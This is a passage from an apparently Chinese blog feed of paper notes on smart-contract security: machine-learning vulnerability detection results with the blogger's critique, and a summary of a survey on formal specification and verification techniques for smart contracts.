class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.190108em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.845108em;"><span style="top:-2.6550000000000002em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">n</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-symbol small-op" style="position:relative;top:-0.0000050000000000050004em;">∑</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></li></ol></li></ol><h3 id="评价结果"><a class="markdownIt-Anchor" href="#评价结果"></a> 评价结果</h3><p>我们在表III中报告了实验结果。在此表的每一行中,我们列出了一个漏洞和基于上述指标产生最佳结果的机器学习算法。例如,Integer下溢由决策树算法识别,F1分数为86%,准确性为99%,准确性为100%,召回率为75%。模型在发现漏洞方面的合理准确性和精确度表明了利用机器学习在智能合约中查找安全漏洞的可能性。根据我们模型的结果,我们得出以下结论。</p><center>表3 安全漏洞检测的准确性</center><table><thead><tr><th>Code</th><th>Security Problem</th><th>Severity</th><th>Method</th><th>TN</th><th>FP</th><th>FN</th><th>TP</th><th>F1</th><th>Accuracy</th><th>Precision</th><th>Recall</th></tr></thead><tbody><tr><td>1</td><td>Integer underflow</td><td>High</td><td>SVM</td><td>163</td><td>0</td><td>1</td><td>3</td><td>86%</td><td>99%</td><td>100%</td><td>75%</td></tr><tr><td>2</td><td>Re-entrancy vulnerability with balance change</td><td>High</td><td>NN</td><td>129</td><td>10</td><td>6</td><td>22</td><td>73%</td><td>90%</td><td>69%</td><td>79%</td></tr><tr><td>3</td><td>Unprotected usage of <em>selfdestruct</em></td><td>High</td><td>DT</td><td>166</td><td>0</td><td>0</td><td>1</td><td>100%</td><td>100%</td><td>100%</td><td>100%</td></tr><tr><td>4</td><td>Contracts that lock ether</td><td>Medium</td><td>RF</td><td>130</td><td>0</td><td>6</td><td>31</td><td>91%</td><td>96%</td><td>100%</td><td>84%</td></tr><tr><td>5</td><td>Incorrect ERC20 interface</td><td>Medium</td><td>SVM</td><td>133</td><td>12</td><td>4</td><td>18</td><td>69%</td><td>90%</td><td>60%</td><td>82%</td></tr><tr><td>6</td><td>Multiple calls in a single transaction</td><td>Medium</td><td>DT</td><td>159</td><td>2</td><td>2</td><td>4</td><td>67%</td><td>98%</td><td>67%</td><td>67%</td></tr><tr><td>7</td><td>Re-entrancy vulnerability without balance change</td><td>Medium</td><td>DT</td><td>144</td><td>5</td><td>7</td><td>11</td><td>65%</td><td>93%</td><td>69%</td><td>61%</td></tr><tr><td>8</td><td>Unprotected usage of <em>tx.origin</em></td><td>Medium</td><td>SVM</td><td>166</td><td>0</td><td>0</td><td>1</td><td>100%</td><td>100%</td><td>100%</td><td>100%</td></tr><tr><td>9</td><td>Unused return</td><td>Medium</td><td>DT</td><td>128</td><td>11</td><td>6</td><td>22</td><td>72%</td><td>90%</td><td>67%</td><td>79%</td></tr><tr><td>10</td><td>Usage of low level calls</td><td>Medium</td><td>DT</td><td>164</td><td>1</td><td>0</td><td>2</td><td>80%</td><td>99%</td><td>67%</td><td>100%</td></tr><tr><td>11</td><td>Exception state</td><td>Low</td><td>SVM</td><td>128</td><td>6</td><td>13</td><td>20</td><td>68%</td><td>89%</td><td>77%</td><td>61%</td></tr><tr><td>12</td><td>Local variable shadowing</td><td>Low</td><td>SVM</td><td>144</td><td>7</td><td>5</td><td>11</td><td>65%</td><td>93%</td><td>61%</td><td>69%</td></tr><tr><td>13</td><td>Assembly usage</td><td>Informational</td><td>NN</td><td>152</td><td>4</td><td>1</td><td>10</td><td>80%</td><td>97%</td><td>71%</td><td>91%</td></tr><tr><td>14</td><td>State variables that could be declared as constant</td><td>Informational</td><td>SVM</td><td>70</td><td>28</td><td>17</td><td>52</td><td>70%</td><td>73%</td><td>65%</td><td>75%</td></tr><tr><td>15</td><td>Unindexed ERC20 event parameters</td><td>Informational</td><td>NN</td><td>164</td><td>0</td><td>1</td><td>2</td><td>80%</td><td>99%</td><td>100%</td><td>67%</td></tr><tr><td>16</td><td>Usage of complex pragma statement</td><td>Informational</td><td>SVM</td><td>165</td><td>0</td><td>0</td><td>2</td><td>100%</td><td>100%</td><td>100%</td><td>100%</td></tr></tbody></table><h2 id="五-总结与评价"><a class="markdownIt-Anchor" href="#五-总结与评价"></a> 五、总结与评价</h2><p>本篇论文对我蛮有启发的,其提出了一个很中肯的方案将机器学习的方法与智能合约结合起来。心理预想了一遍,感觉实现过程比较清晰:</p><ol><li>从Etherscan上爬取合约,然后通过一些限制条件去除大部分智能合约。</li><li>对这些智能合约使用开源的<a href="https://github.com/crytic/slither">Slither</a>和<a href="https://github.com/ConsenSys/mythril">Mythril</a>两个静态代码分析器检测是否存在漏洞。</li><li><code>Solc</code>(Solidity命令行编译器)从Solidity代码生成AST,然后从AST中提取特征,不过本文中并没有详细提到如何提取特征,只是提到了哪些特征。</li><li>再使用几种机器学习的方法进行建模,这里本中并没有详细提及如何建模:比如输入的特征是什么,怎么输入,输出是什么。只是把抄了一遍方法的最基本定义,不禁让人怀疑本文是如何做的。</li><li>其文中结论部分,精挑细选了一些结果,有些穿凿附会。</li></ol>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>机器学习</tag>
</tags>
</entry>
<entry>
<title>A Survey of Smart Contract Formal Specification and Verification</title>
<link href="/2020/09782d0fb0.html"/>
<url>/2020/09782d0fb0.html</url>
<content type="html"><![CDATA[<h1 id="a-survey-of-smart-contract-formal-specification-and-verification"><a class="markdownIt-Anchor" href="#a-survey-of-smart-contract-formal-specification-and-verification"></a> A Survey of Smart Contract Formal Specification and Verification</h1><p>论文标题:<a href="https://arxiv.org/abs/2008.02712">A Survey of Smart Contract Formal Specification and Verification</a> —— 智能合约正式规范和验证调查</p><p>论文引用:Tolmach P, Li Y, Lin S W, et al. A Survey of Smart Contract Formal Specification and Verification[J]. arXiv preprint arXiv:2008.02712, 2020.</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>智能合约是一种计算机程序,可让用户在区块链平台之上自动定义和执行交易。鉴于智能合约对于支持整个行业部门(包括供应链,金融,法律和医疗服务)的重要活动的重要性,因此对验证和确认技术有强烈的需求。但是,绝大多数智能合约都缺乏任何形式的规范,这对于确定其正确性至关重要。</p><p>在这项调查中,本文调查了文献中介绍的智能合约的正式模型和规格,并提供了系统概述以了解常见趋势,还讨论用于验证此类属性规范的当前方法并找出差距,以期识别出未来工作的有希望的方向。</p><h3 id="三个问题"><a class="markdownIt-Anchor" href="#三个问题"></a> 三个问题</h3><p>RQ1: 什么是用于智能合约的建模、规范和验证的“形式化技术”?这些技术指定并验证了哪些“常见的形式化的要求”?</p><p>1、在合约级别的表示中,最主要的组合是时态逻辑中的状态转换模型(state-transition models)和规范,然后由模型检验器(model checker)进行验证。如表所示,这种组合主要用于描述功能正确性属性,一些涉及进度概念(the concept of progress)的安全属性,如流动性(liquidity ),被建模为活跃性。</p><p>2、Hoare-style规范进行自动化程序级验证(automated program-level),字节码级定义的程序逻辑允许使用定理证明器来推理智能合约行为,而源代码级注释通常由程序验证技术来执行。安全属性的验证主要由现有的已建立的符号执行和程序验证工具链(如Boogie)主导。</p><p>3、Runtime verification check,运行时验证检查类似问题,但在运行时执行跟踪。这些技术通常需要使用适当的监视器(例如断言)来检测智能契约代码。运行时监视(Runtime monitoring)也可以通过跟踪事件来实现,以便对托管和供应链应用程序进行合规性检查。</p><p>RQ2: 智能合约和区块链环境在规范和验证智能合约方面带来了哪些“挑战”。</p><p>Pattern-Based Verification 基于模式的验证。智能合约安全性分析主要在程序级别执行。这些技术通常依赖于专家定义的易受攻击的模式,这将这些工具限于识别一组已知的漏洞。通过关注漏洞的根本原因(例如不确定性因素对智能合约执行的影响),可以实现对更大类别漏洞的泛化。为了扩展可检测到的漏洞列表,一些工作提出了规范语言,允许用户以不变式的形式定义漏洞,时间属性(temporal properties)或用要求注释Solidity合同。</p><p>时间属性的有限验证。</p><p>执行环境建模中的复杂性</p><p>RQ3: What are <strong>the current limitations</strong> in smart contract formal specification and verification and what research directions may be taken to overcome them?</p><p>智能合约正式规范和验证中的“当前限制”是什么?可以采取哪些研究方向来克服这些限制?</p><h2 id="二-modeling-formalism-建模方法"><a class="markdownIt-Anchor" href="#二-modeling-formalism-建模方法"></a> 二、MODELING FORMALISM 建模方法</h2><p>在不同的抽象级别定义模型。<strong>合同级方法</strong>与所分析的智能合同的高级行为有关,通常不考虑其实施和执行的技术细节。<strong>程序级方法</strong>主要对合同实现(即源代码)本身进行分析,因此依赖于平台。</p><h3 id="contract-level-models合同级模型"><a class="markdownIt-Anchor" href="#contract-level-models合同级模型"></a> Contract-level models(合同级模型)</h3><p>在合同级别的分析中,智能合同被视为黑匣子(black boxes),它们接受来自外部的交易消息,并可能基于这些消息执行一些计算。合同级模型涉及以下概念:</p><ol><li>Users:可以是与智能合约互动的任何类型的账户(包括余额、交易信息以及如账户地址和附加值的相关参数等。)</li><li>Contracts:一组可公开访问的函数以及函数能执行的外部可见效果(比如合同所有者/余额的变化、发出的事件/操作)</li><li>Blockchain State:合同所指的全局变量和环境变量,例如时间戳和块编号。区块链状态可能还包括矿池和合同执行环境的内存状态。</li></ol><p>合同级模型可以有效地表达有关智能合同与外部环境之间的交互的属性,并且通常根据进程代数(Process Algebras),状态转换系统(State-Transition Systems)和基于集合的方法(Set-Based Methods)来定义它们。</p><h4 id="进程代数process-algebras"><a class="markdownIt-Anchor" href="#进程代数process-algebras"></a> 进程代数(Process Algebras)</h4><p>进程代数是一类数学方法,用于以交互并发流程(interacting concurrent processes)的形式描述分布式或并行系统(distributed or parallel systems)的行为。</p><p>智能合约的可观察到的行为类似于共享内存并发程序(shared-memory concurrent program)或具有交错模式(interleaving mode)的系统的行为,这使进程代数成为高级行为建模成为可能。因此,进程代数捕获并发用户与智能合约之间的交互。对于这些交互,可以通过将智能合约转换为进程代数形式主义之一来确保正确性。一种替代方法涉及以进程代数领域专用语言(process-algebraic domainspecific language,DSL)实现智能合约。</p><p>假定用户通过调用以太坊合约的public 函数与以太坊合约互动,Qu等人和Li等将Solidity 函数 转化为分别在通信顺序过程(Communicating Sequential Processes,CSP)和所应用的π演算SAPIC(π-calculus SAPIC)的变体中定义的过程符号。<br />如果交易不是原子的,则不同用户调用的函数之间的相互作用可能会导致风险状况,这些风险状况通过执行轨迹中出现的易受攻击的序列来体现。</p><p>在合同中,每个用户都可以提出自己的出价,直到达到截止日期为止。拍卖结束后,最高出价将转给受益人,而失败的投标者可以撤回其投标。或者,可以在投标阶段取消拍卖。由于用户通过调用智能合约的功能来参与拍卖,因此图3显示了Solidity实现的两个功能,即bid()和finish()。</p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20200908192601.png" alt="image-20200908192601798" />`</p><p>Fig. 3. Solidity source code of Simple Auction smart contract adapted from</p><p>图4将这些功能分别表示为一个过程:Bid(msg,blk)和Finish(blk)。这些过程在CSP#中指定(一种基于CSP的形式语言,它支持过程和编程结构)。每个过程都根据CSP事件以及通过共享变量实现的智能合约状态更改来描述智能合约及其用户的相应操作。作为高级表示,该模型将低级执行细节(包括transfer()函数的细节)与相应的事件进行抽象。块和事务属性使用msg和blk过程参数表示,类似于Solidity中的全局可用变量。为简便起见,省略了用户行为模型。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412112721.png" alt="image-20200908192611190" /></p><p>Fig. 4. A CSP# model of Simple Auction smart contract.</p><h4 id="状态转换系统state-transition-systems"><a class="markdownIt-Anchor" href="#状态转换系统state-transition-systems"></a> 状态转换系统(State-Transition Systems)</h4><p>智能合约的行为自然可以解释为状态转换系统,实际上,Solidity鼓励将合约建模为状态机。状态转换模型通常由模型检查器针对特定于合同的属性进行验证,此外还具有诸如死锁/活锁-自由之类的通用时间逻辑属性.</p><p>行为交互优先级(Behavior-Interaction-Priority,BIP)是用于建模智能合约和用户之间交互的分层框架。智能合约的BIP模型通常由两层组成:行为层(Behavior layer)的组件将每个智能合约的逻辑描述为FSM,而交互层(Interaction layer)则定义了其通信原理。图5展示了简单拍卖智能合约的FSM模型(图3),图5中的模型描述了三种智能合约状态之间的可能转换:Bidding (B), Finished (F), and Canceled ©.</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412112719.png" alt="image-20200908193601434" /></p><p>Fig. 5. A state-transition model of Simple Auction smart contract (Fig. 3) adapted from</p><p>改编自Simple Auction智能合约的状态转换模型(图3)</p><h4 id="基于集合的方法set-based-methods"><a class="markdownIt-Anchor" href="#基于集合的方法set-based-methods"></a> 基于集合的方法(Set-Based Methods)</h4><p>基于集合的建模框架Event-B和TLA +利用集合理论和逻辑来正式指定系统,并且也已应用于智能合约。<br />与其他正式语言(例如PN)类似,基于集合的框架支持模型分析工具,使其在实施按设计更正的智能合约和对现有合约的验证中很有用。<br />尽管基于集合的形式主义对于检查安全属性非常有效,但缺乏对进展理由(例如活力属性)的表达。<br />尽管TLA +支持用于指定活动性的时间逻辑,但此功能尚未用于形式化智能合约要求。</p><h3 id="program-level-models程序级模型"><a class="markdownIt-Anchor" href="#program-level-models程序级模型"></a> Program-level models(程序级模型)</h3><p>程序级别的模型旨在基于较低级别的表示(例如源代码,编译的字节码以及派生的分析工件(derived analysis artifacts)[包括AST,数据和控制流图])提供目标合同的白盒视图(white-box view)。程序级模型涉及以下概念:</p><ol><li>Abstract Syntax Tree (抽象语法树,AST):将智能合约源代码(例如,以Solidity形式)表示为<strong>层次树结构(hierarchical tree structures)</strong>,它通常用于对合同执行进行轻量级语法分析。</li><li>Bytecode (opcode):字节码或操作码,用低级机器指令编写,这些指令与执行环境紧密相关(例如,以太坊虚拟机(EVM))。由于字节码是在编译后获得的,因此它可以更好地反映机器级别的详细信息(例如,gas消耗量和异常),但同时可能会丢失重要的源代码级别信息。</li><li>Control Flow Graph(控制流程图,CFG):执行期间可能会遍历的所有程序路径的图形表示。 CFG可以从字节码中获取,通常用于智能合约的静态分析,例如符号执行(symbolic execution)和自动验证(automated verification)。</li><li>Program Traces(程序跟踪):在运行时从执行中收集的指令序列(通常以字节码表示)和事件。这些迹线(traces)反映了特定输入下合同的确切行为,可用作执行动态分析和运行时验证的来源。</li></ol><p>程序级模型保留了低级执行细节,因此被广泛用于查找漏洞和检查其他与安全相关的属性。</p><h4 id="ast-level-analyses-ast级分析"><a class="markdownIt-Anchor" href="#ast-level-analyses-ast级分析"></a> AST-Level Analyses. AST级分析</h4><p>直接在AST或类似的分析树结构上直接执行的智能合约分析仅限于检查预定义的代码模式。AST可以用于简化轻量级的预分析:例如,定位可能导致溢出或断言的算术运算,对内存布局信息进行解码以进行更深入的检查,以及对合同代码执行系统的检测,例如漏洞检查。</p><p>这样的预分析(pre-analyses)可以帮助提高重量级下游分析的有效性和可扩展性。例如,当涉及统和基于深度学习的分析时,AST是智能合约代码的自然抽象。</p><p>这些纯语法技术的明显缺点是,它们不一定尊重智能合约的操作语义或执行环境,从而损害了分析的可靠性/完整性。例如,gas消耗在以太坊智能合约的功能正确性和安全性中起着重要的作用,但经常被忽略。</p><h4 id="control-flow-automata-控制流自动机"><a class="markdownIt-Anchor" href="#control-flow-automata-控制流自动机"></a> Control-Flow Automata 控制流自动机</h4><p>控制流图(Control-flow graph,CFG)通常用于描述程序的操作语义。顾名思义,CFG是带标签的有向图,其中图节点对应于程序位置,而边对应于程序位置之间的可能过渡。</p><p>智能合约的CFG主要是由编译后的代码构建的,即以太坊合约的EVM字节码或EOSIO合约的WebAssembly(WASM)字节码。尽管如此,至少在以太坊的情况下,从低级字节码恢复CFG并非易事。有几个原因。首先,EVM是基于堆栈的机器,EVM是基于堆栈的计算机,因此,要恢复跳转指令的目标地址(destination of an edge,边沿的目标),需要进行能够跟踪堆栈状态的上下文相关静态分析此外,智能合约的执行包括一系列的函数调用,通常还包括对其他帐户的调用,这分别需要进行过程间(inter-procedural)分析和合同间(inter-contract)分析。</p><p>在CFG上运行的分析类型包括控制/数据流分析(control-/data-flow analyses)和符号执行(symbolic execution),它们已经是成熟的传统软件程序的工具。这些工具和技术中的一些直接应用于从智能合约中提取的CFG,而其他工具和技术则是自定义构建的,以适应合约程序的特定语言功能。</p><h4 id="program-logics-程序逻辑"><a class="markdownIt-Anchor" href="#program-logics-程序逻辑"></a> Program Logics 程序逻辑</h4><p>为了严格考虑程序的正确性,多年来,已经开发了各种形式的程序逻辑,其中一些已成功应用于智能合约。程序逻辑是具有一组正式规则的证明系统,该规则可以静态地推理程序的行为。</p><p>例如,Hoare逻辑,重写(rewriting)逻辑和可达性(reachability)逻辑用于证明智能合约的正确性条件。认知(epistemic)逻辑根据他们的知识描述了智能合约参与者之间的交互,这有助于验证承诺和交换协议。</p><p>权限代数(authority algebra)和FOL的组合使得可以在智能合约中进行关于信任和责任的推理。通过为Java程序开发的动态逻辑,也可以验证智能合约的正确性。最后,基于保护性逻辑的形式主义可以规范和验证合法的智能合约,否则很难正式定义。</p><p>可以使用称为JavaDL的动态逻辑(用于Java的程序逻辑)来验证写入或转换为Java的智能合约。带有JML规范的Java程序由KeY(演绎验证的框架)自动转换为JavaDL。虽然可以直接验证用Java编写的Hyperledger Fabric合同,但Solidity智能合约已预先转换为Java。</p><h2 id="三-formal-specifications-of-smart-contracts-智能合约规范"><a class="markdownIt-Anchor" href="#三-formal-specifications-of-smart-contracts-智能合约规范"></a> 三、Formal Specifications of smart contracts 智能合约规范</h2><p>规范是一组属性(properties),它们描述智能合约的所预设的行为,通常由开发人员的意图定义。 对应于之前的合同级、程序级模型,这里也提出了合约级规范(contract-level specifications)和程序级规范(program-level formal specifications)。</p><h3 id="contract-level-specification-合约级规范"><a class="markdownIt-Anchor" href="#contract-level-specification-合约级规范"></a> Contract-Level Specification 合约级规范</h3><p>智能合约的合约级别规范以各种逻辑表示。</p><ol><li>时间逻辑(temporal logics)家族最普遍,其中包括线性时间逻辑(linear temporal logics)和分支时间逻辑(branching temporal logics)</li><li>道义逻辑(the deontic logic deontic)和可废止的逻辑(defeasible logics),有助于根据法律契约确定智能合约的权利和义务的。</li><li>命题(Propositional)和谓词逻辑(predicate logics)通常会在痕迹(the traces)上传达有关合同状态的事实陈述。</li><li>由于时间(temporal )、动态(dynamic )、和道义(deontic)逻辑中的规范描述了系统的高级行为特征,因此它们被用来组合设计正确的智能合约。</li></ol><h4 id="temporal-logics"><a class="markdownIt-Anchor" href="#temporal-logics"></a> Temporal Logics</h4><p>时间逻辑表示智能合约随时间的特性。智能合约的执行逻辑通常包含时间限制,无论是法律合同条款、拍卖和投票合同。时间特性的两个关键特性是安全性(safety)和活性(liveness)。safety属性对应于这样的说法:“绝不会发生坏事”,通常用于表示不变性。</p><p>Liveness属性指出“好事最终会发生”。它们表征了程序进行的可能性,对于智能合约而言,这通常体现在其放弃加密货币的能力上。</p><h4 id="linear-temporal-logic-ltl"><a class="markdownIt-Anchor" href="#linear-temporal-logic-ltl"></a> Linear Temporal Logic (LTL)</h4><p>线性时序逻辑(LTL)是一阶逻辑(FOL,first-order logic)的一部分,用于在程序的连续状态的线性序列上定义属性。 LTL属性描述了由模型检查器验证的智能合约过渡系统模型的安全性和有效性。以太坊的两种基于ptLTL的规范语言以前都支持运算符,该运算符引用交易执行之前合约变量的值。然后,将用这些语言定义的属性转换为源代码断言。</p><h4 id="computation-tree-logic-ctl"><a class="markdownIt-Anchor" href="#computation-tree-logic-ctl"></a> Computation Tree Logic (CTL)</h4><p>计算树逻辑(Computation Tree Logic,CTL)是用于描述计算树属性的分支时间逻辑。与LTL相反,它表示从初始状态开始的程序的所有可能执行。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412112715.png" alt="image-20200908202307563" /></p><h4 id="dynamic-logic"><a class="markdownIt-Anchor" href="#dynamic-logic"></a> Dynamic Logic.</h4><p>动态逻辑允许在考虑到程序终止的情况下根据其行为来制定属性。</p><h4 id="deontic-and-defeasible-logics"><a class="markdownIt-Anchor" href="#deontic-and-defeasible-logics"></a> Deontic and Defeasible Logics.</h4><h3 id="program-level-formal-specifications-程序级规范"><a class="markdownIt-Anchor" href="#program-level-formal-specifications-程序级规范"></a> program-level formal specifications 程序级规范</h3><p>Hoare风格的规范(Hoare-style specifications),通常与程序逻辑(program logics)一起使用,或在实际的智能合约源代码中进行检测。</p><h4 id="hoare-style-properties"><a class="markdownIt-Anchor" href="#hoare-style-properties"></a> Hoare-Style Properties.</h4><ul><li>源于时间逻辑(temporal logic)的传统的面向模型规范(model-oriented property-oriented specifications)</li><li>源于霍尔逻辑(Hoare logic)的面向属性规范(property-oriented specifications)</li></ul><h3 id="properties-classification-智能合约属性分类"><a class="markdownIt-Anchor" href="#properties-classification-智能合约属性分类"></a> Properties Classification 智能合约属性分类</h3><p>规范从不同的角度描述智能合约的功能正确性。考虑的方面包括缺乏漏洞、尊重隐私要求、合理的资源消耗、符合业务级规则、对用户的公平性。</p><h4 id="security"><a class="markdownIt-Anchor" href="#security"></a> Security</h4><p>智能合约中安全漏洞的检测受到了很多关注。研究界研究的重要安全属性包括</p><ul><li>流动性(liquidity):最终将非零合同余额转移给某些参与者</li><li>原子性(atomicity):如果事务的一部分失败,那么整个事务都会失败,并且状态保持不变)</li><li>单一入口(single-entrancy):合同一旦被重入(reentered),就不能再执行任何调用</li><li>可变状态的独立性(independence of the mutable state)</li><li>矿工控制的参数(miner-controlled parameters)。</li><li>访问控制(access control)</li><li>算术正确性(arithmetic correctness)</li><li>合理的资源消耗(reasonable resource consumption)</li></ul><h4 id="privacy"><a class="markdownIt-Anchor" href="#privacy"></a> Privacy</h4><p>区块链交易是公开可访问的,因此恶意用户可以根据其他合同参与者的行动来决定自己的举动。为了防止通过设计暴露智能合约中的用户输入,实施加密协议,例如</p><ul><li>承诺(commitment)和定时承诺(timed commitment:该协议要求每个参与者都应提交与其输入相对应的secret,并应及时予以披露;否则,参与者必须支付赔偿金。</li><li>原子交换合同(atomic-swap contracts):也考虑了类似的方面,允许双方原子地交换他们的资产,即交换对双方来说要么成功,要么失败。</li></ul><h4 id="finance"><a class="markdownIt-Anchor" href="#finance"></a> Finance</h4><p>智能合同的一个关键优势是它们能够操纵数字资产,即所谓的加密货币。智能合约自动执行财务应用程序,包括用户和合约之间的资金存储和转移。</p><ul><li>初始代币发行(Initial Coin Offering,ICO/toten)是一种通过出售代币筹集资金的方法,代币是由区块链平台上的智能合约管理的可编程资产.</li><li>钱包(Wallet):不允许用户向自己转移资金,而ERC20-K允许自我转移,但认为这是特殊情况。</li><li>托管(Escrow / Purchasel):为确保智能合约具有足够的资金,Permenev等人要求,除非宣布众筹成功,否则代管余额必须至少为投资者存款的总和。</li></ul><h4 id="social-games"><a class="markdownIt-Anchor" href="#social-games"></a> Social Games.</h4><p>根据一些预定义的游戏规则,我们将术语“Social Games”与一类智能合约相关联,该合约规范了多个用户的参与和互动。如果参与者在区块链上看到彼此提交的内容,则会发生隐私问题,从而损害社交游戏的公平性</p><ul><li>拍卖(Auction):社交游戏通常要求每个用户提交的内容均需缴纳参与费,例如投票,竞标或游戏中的举动。</li><li>投票方案(voting):检查最初可用的选票数是否等于尚待投出的票数加上整个选举过程中已投出的票数之和。</li><li>赌博(Games /Gambling)</li></ul><h4 id="asset-tracking"><a class="markdownIt-Anchor" href="#asset-tracking"></a> Asset Tracking</h4><p>资产跟踪</p><ul><li>供应链(Supply Chain):供应链通常涉及负责生产,运输和销售的多个交互方。</li><li>市场(Marketplace):通常是那些促进能源供应商和生产商之间交易的市场。与其他领域的合同的属性类似,安全属性通过声明允许和要求的操作链来描述市场的正确执行流程</li><li>许可协议(License Agreement):描述了参与评估的用户的权利,义务和禁止。例如,其中一项条款规定,除非允许被许可人发布评估结果,否则被许可人不得发布对产品评估的评论。</li><li>管理域名(Name Registration):为区块链账户地址提供别名的名称注册智能合约的正式规范</li></ul><h2 id="四-verification-techniques-验证技术"><a class="markdownIt-Anchor" href="#四-verification-techniques-验证技术"></a> 四、Verification Techniques 验证技术</h2><p>通过调查当前的文献和已有的研究,提出已有的来证明智能合约模型相对于所需属性(the desired properties)的正确性的形式验证技术。</p><h3 id="model-checking-模型检查"><a class="markdownIt-Anchor" href="#model-checking-模型检查"></a> Model checking 模型检查</h3><p>模型检查是一种成熟的技术,用于根据其规格自动验证系统模型(具有有限状态)。当应用于智能合约时,模型检查器会根据时间逻辑规范(temporal logic)执行对合约级模型(主要是过渡系统transition systems)的验证。尽管模型检查可以成功验证多个智能合约或用户的系统,但其局限性是由模型检查器的输入语言和状态爆炸问题引起的。</p><p>模型检查捕获智能合约执行的不同特征,例如并发(concurrency),不确定性(nondeterminism)或时间约束(time constraints)。<br />除了验证一个合同的功能正确性,模型检查还处理智能合同和用户交互的系统。此外,利用以时间逻辑表示的规范,模型检查能够验证活动性和进度属性,例如流动性。模型检查器(例如SPIN)还可以验证并发系统的常规要求,例如无死锁和无活锁。</p><h3 id="theorem-proving-定理证明"><a class="markdownIt-Anchor" href="#theorem-proving-定理证明"></a> Theorem proving 定理证明</h3><p>基于定理证明的验证涉及将系统及其所需的属性编码为特定的数学逻辑(particular mathematical logic.)。<br />然后,一个定理证明者试图根据形式系统的公理和推理规则来推导满足这些性质的形式证明。与仅检查有限状态系统的模型检查不同,定理证明支持无限系统的验证。<br />另一方面,定理证明技术通常是半自动化的(semi-automated),需要人类的参与和专业知识。然而,这个缺点既不妨碍学术界也不反对行业开发受定理证明支持的工具和语言。<br />尽管定理证明方法具有潜在的表达能力,但他们很少考虑合同间的交流和智能合约的时间特性。</p><h3 id="symbolic-execution-符号执行"><a class="markdownIt-Anchor" href="#symbolic-execution-符号执行"></a> Symbolic execution 符号执行</h3><p>符号执行象征性地执行程序,因此能够一次探索多个具体的执行路径。以太坊和EOSIO智能合约的符号执行都基于对CFG的遍历,该CFG是根据智能合约的字节码重建的。在智能合约的符号执行中遇到的其他困难包括大量使用哈希函数(SMT求解器难以解决)以及对符号化内存和智能合约交互进行符号化的需求。与模型检查类似,符号执行方法通常会探索特定长度的路径,这需要应用抽象解释和部分顺序约简。其他求解器,尤其是Yices2,明显优于Z3。<br />符号执行还用于指导智能模糊方法</p><h3 id="program-verification-程序验证"><a class="markdownIt-Anchor" href="#program-verification-程序验证"></a> Program Verification 程序验证</h3><p>许多程序验证工具都是自动化的,可以检查复合漏洞和智能合约的语义正确性。将智能合约源代码转换为验证语言可以实现其工具链的广泛功能。<br />例如,Datalog及其Soufflé引擎进行的数据和控制流分析成功检测到字节码中的漏洞以及以太坊智能合约的执行轨迹。</p><h3 id="runtime-verification-and-testing-运行时验证和测试"><a class="markdownIt-Anchor" href="#runtime-verification-and-testing-运行时验证和测试"></a> Runtime Verification and Testing 运行时验证和测试</h3><p>运行时验证是一种轻量级验证技术,用于检查正在运行的程序的属性。<br />与前面几节中介绍的技术不同,运行时验证一次只涉及一个执行跟踪。<br />在智能合约领域,跟踪(trace)通常表示由区块链平台执行的一系列指令,同时也可以指代智能合约发出的一系列函数调用或事件。</p><p>Runtime verification通常在运行时提供针对漏洞或正确性违反的被动防御,并且可以潜在地识别由于状态或路径爆炸而无法通过模型检查或符号执行到达的易受攻击状态</p><h3 id="other-techniques-其他技术"><a class="markdownIt-Anchor" href="#other-techniques-其他技术"></a> Other Techniques 其他技术</h3><p>新兴的研究重点是将统计和基于深度学习的技术应用于智能合约验证。该领域的第一个提案[将易受攻击的智能合约标识为包含不规则令牌序列w.r.t。 Solidity的统计语言模型。 Tann等。 使用递归神经网络来衡量智能合约操作码与由Maian标记的易受攻击的<strong>智能合约的相似度</strong>。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412112659.png" alt="image-20200906232558833" /></p><p>正式的验证工具</p><h2 id="五-trends-challenges-and-future-directions-趋势-挑战和未来"><a class="markdownIt-Anchor" href="#五-trends-challenges-and-future-directions-趋势-挑战和未来"></a> 五、Trends, Challenges, and Future directions 趋势、挑战和未来</h2><p>作者的对智能合约的正式规范和验证中的主要趋势、挑战和未来方向的观察</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412112651.png" alt="image-20200906225116266" /></p><p>安全语言(Safe Languages)。新兴的方向之一是开发安全的智能合约语言,该语言可通过设计消除许多安全风险。</p><p>自我修复合同(Self-Healing 